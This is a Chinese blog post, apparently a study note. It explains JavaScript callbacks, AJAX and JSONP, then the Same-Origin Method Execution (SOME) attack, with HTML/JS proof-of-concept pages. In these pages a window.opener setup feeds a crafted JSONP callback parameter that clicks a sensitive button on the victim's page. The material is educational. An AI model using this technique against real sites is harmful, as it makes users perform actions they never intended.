我理解的回调与同源方法执行漏洞(SOME)浅析

0x00 before

以前一直对回调有些迷糊,似懂非懂,虽然能明白用法和原理,但总有些小疑问,比如,为啥偏要用回调。今天集中看了很多博客,再配合上SOME的理解,感觉收获颇多,故给大家一起分享。

0x01 什么是JS的回调函数

见网上有人说:函数a有一个参数,这个参数是个函数b,当函数a执行完以后执行函数b。那么这个过程就叫回调。

其实并不全对,函数a执行过程中执行了函数b,那也是回调。在我觉得回调的关键其实就是在正常处理的函数体中,去嵌套一个可变的灵活函数来辅助我们完成一些复杂的工作。

语言太乏力,代码见人心:

//这是一个正常函数
function people(weapon) {
    alert("我是一个兵!");
    weapon();
}
//准备回调的函数A
var A = function (){
    alert("我有一把手枪!");
}
//准备回调的函数B
var B = function (){
    alert("我有一挺机关枪!");
}

people(A)  //这是一个装备了手枪的士兵
people(B)  //这是一个装备了机关枪的士兵

上面就是一个最简单的回调。

以前我一直有个疑问,这不是多此一举吗,直接调用函数也可以办到啊!为什么要这么做呢?

其实回调的第一个好处就是:灵活! 你想想,如果你写死了代码,以后想为士兵换武器怎么办?在这里,将需要调用的函数当作参数传给一个”正常“的函数,我们就可以在不修改原功能代码的情况下,随意扩展!

仅仅是这样?那也只是按顺序执行了一个自定义的函数而已,感觉和回调这两个完全没有关系啊!

0x02 异步回调,方显真正威力

的确,上面的例子完全没有体现出回调的魅力,至少,回调中的”回”字,我们并没有一个直观的感受。

其实回调也分两种,同步回调和异步回调,刚刚的就是同步回调,函数按顺序执行,只不过是有一个自定义的函数功能,其它语言里指针和引用其实也可以做到类似的功能。

我觉得JS中的回调真正厉害的地方是异步的回调,它不仅让我们可以自定义处理的函数,还可以让我们决定什么时候触发这个函数,并且主进程不会因为这个函数而阻塞。

//当状态改变时触发回调函数
xmlhttp.onreadystatechange = function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
    //do something
    }
  }
xmlhttp.open("GET","test.txt",true);
xmlhttp.send();

这是一部分最熟悉不过的AJAX代码,其中最核心的地方就是依靠onreadystatechange来触发回调函数,我们才可以异步的进行请求和处理,这一小段代码可是极大的推动了Web的发展。

而且从上面这段代码我们也可以看出来,整个流程不会因为回调函数而阻塞,会等到条件满足时(即状态改变时)再回过头来处理,JS为这些异步回调函数都新建线程,分别完成各自的事务。换做其它语言,你多半得自己进行多线程处理,监听状态,完成调用,还要考虑并发中的同步和互斥问题,想想就觉得是一场噩梦。

0x03 有个用来跨域的东西叫JSONP

跨域通信不过七大方法(document.domain、片段标识符、window.name、window.postMessage(包括读写LocalStorage)、WebSocket、CORS和JSONP),其中最为常用的便是JSONP,一般用它来配合AJAX跨域异步请求数据。它是普通AJAX的跨域改进型,除了多了跨域功能外,使用方法没有任何区别。它有个很大的优点,兼容!虽然CORS现在比它强大,但也不是所有站点和浏览器都支持。比如我在站点 a.test.com ,我现在需要向api.test.com 请求数据,这时一般会用到JSONP,方便,快捷。

下面是一个简单的例子:

function addScriptTag(src) {
  var script = document.createElement('script');
  script.src = src;
  document.body.appendChild(script);
}

window.onload = function () {
  addScriptTag('http://api.test.com/what?callback=evil');
}

function evil(data) {
  alert(data);
};

JSONP只支持GET请求,所以上面核心的地方很简单,就是在请求URL后加一个callback参数,告诉服务器和客户端,当得到响应的数据后,用哪个函数去解析它。

返回的数据类似于这样的:

evil({"a":1, "b":2})

中间的数据就是服务器返回的json数据,我们用回调的话相当于把数据当作对象处理(JS一切都是对象嘛),然后免去了手动解析json的步骤,简直方便好用,代码还很少。

0x04 滥用回调造成的SOME

什么是SOME?

同源 方法执行漏洞,注意我的断句,意思就是利用同源页面的callback回调缺陷,来执行一些用户不愿意执行的敏感操作。这听起来其实有点像CSRF,但它比CSRF更进一步,用它执行的敏感操作和正常的操作没什么两样。

通俗一点来解释,当我们完成了某个操作请求,浏览器执行回调函数时,执行的函数名就是请求中callback参数对应的值,这个GET请求一般是由页面中的JS发出的,但如果我们能够控制callback参数的值,想想会发生什么?

举个例子:

http://test.com/login?callback=show/

这是一个常见的登陆URL,用户用这个URL完成登陆以后,跳转到首页,此时服务器返回如下响应:

......
......
<script src="http://api.test.com/profile?userid=123465&callback=show"></script>
<script>function show(data){ ...do something ...}</script>
......
......

上面是一个JSONP的跨域请求,看起来没有什么不对,服务器返回数据以后就会执行show函数直接解析数据,这一切都很美好。

但当我们把最开始callback参数改一下会有什么影响?
1. 如果服务器直接拼接用户输入的参数到响应中,我们可以XSS。
2. 即使它做了过滤,我们可以把函数改为本页面中的一些敏感函数。
3. 就算没有敏感函数,我们还可以利用JS的DOM操作来完成对该页面上任意节点的访问(比如某个重要按钮的click点击事件)。

感觉这种情况不太容易让用户上当?或者这种情况不太常见?

0x05 我来帮你打开页面

浏览器中window对象下有个属性叫opener,假如在A页面中点击链接或者用JS的window.open方法打开了一个新标签页面B,那么B页面此时就可以用window.opener.document来操纵A页面了(当然大前提是同源),不同源的话依旧可以对A页面的location进行写操作。

有了以上基础,我们的利用场景变宽了许多。

此时假设我们有一个页面A,当用户点击时,先打开一个我们的页面B,再导航到一个想操纵的敏感页面:

页面A:

<script>
function evil() {
 window.open("B.html");
 location.replace("http://secrect.com/action/");
}
setTimeout(evil,1000);
</script>

敏感页面:

<html>
<head>
</head>
<body>
<form action="...">
<input type="submit" value="敏感操作">
</form>
</body>
</html>

此时页面B将等待页面A成功导航到敏感页以后,自己导航到一个存在SOME漏洞的页面:

页面B:

<script>
function waitForA() {
      location.replace("http://secrect.com/vulnerability?callback=window.opener.document.body.firstChild.firstChild.click");    
}
setTimeout(waitForA,3000);
</script>

请求响应成功后,页面A的敏感操作被执行。

在3秒钟内,用户最开始只是点了一个页面A的链接,接着便通过SOME漏洞完成了敏感操作。

0x06 小结

写这篇博客就是想对回调和SOME做一个简单的总结,印象深刻一些,同时自己的理解也能更进一步。

如果有不对之处,还望大家指出。

参考:
http://www.2cto.com/article/201607/528197.html
http://www.mottoin.com/91299.html
http://bobao.360.cn/learning/detail/463.html
http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html

©️2020 CSDN 皮肤主题: 大白 设计师: CSDN官方博客 返回首页
实付0元
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值